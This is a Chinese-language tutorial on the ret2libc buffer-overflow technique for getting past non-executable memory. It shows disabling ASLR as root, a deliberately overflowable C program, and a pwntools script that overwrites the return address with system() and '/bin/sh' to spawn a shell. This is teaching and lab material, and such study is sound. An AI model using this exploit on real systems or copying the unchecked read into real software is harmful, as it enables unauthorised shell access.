ret2libc是为了绕过数据执行保护(DEP)在上一节ret2shellcode中,直接将shellcode写入了数据区,但是开了DEP的ELF程序是没办法在数据区有执行权限,所以本节记录的是如果使用lib来执行改怎么操作。
ret2lic 即使用ret地址跳转到libc中的函数,首先要要求elf文件载入了我们想要的libc,一般会选择system("/bin/sh")
操作之前要关闭地址随机
# 查看ASLR是否开启
cat /proc/sys/kernel/randomize_va_space
# 关闭ASLR
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
还是用上节的代码为例,但是编译的时候不带execstack参数
#include <stdio.h>
#include <unistd.h>
void readbuf()
{
char buffer[100];
read(0, buffer, 200);
}
int main(int argc, char *argv[])
{
readbuf();
write(1, "Hello, PWN!\n", 12);
return 0;
}
编译好如下:
由于不能直接执行自己的命令,需要利用现成的函数,那么就需要先找到这个函数的地址,注意这里我们就只能用gdb直接调试先找到"/bin/sh"的地址,向上一节利用核心转储是找不到“/bin/sh”的地址的
在上面中我们找到了system的地址和/bin/sh
字符串的地址,我们预计的构造如果
112字节的填充 + system函数地址 + 4字节填充(作为system函数的返回地址) + "/bin/sh"字符串地址
from pwn import *
proc = process('./pwn2')
system_addr = 0xf7e12f10
binsh = 0xf7f519db
payload = 112*b"A" + p32(system_addr) + b"B"*4 + p32(binsh)
proc.send(payload)
proc.interactive()
执行结果如下:
说明:
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”
padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。
address of system() 是 system() 在内存中的地址,用来覆盖返回地址。
padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。
address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。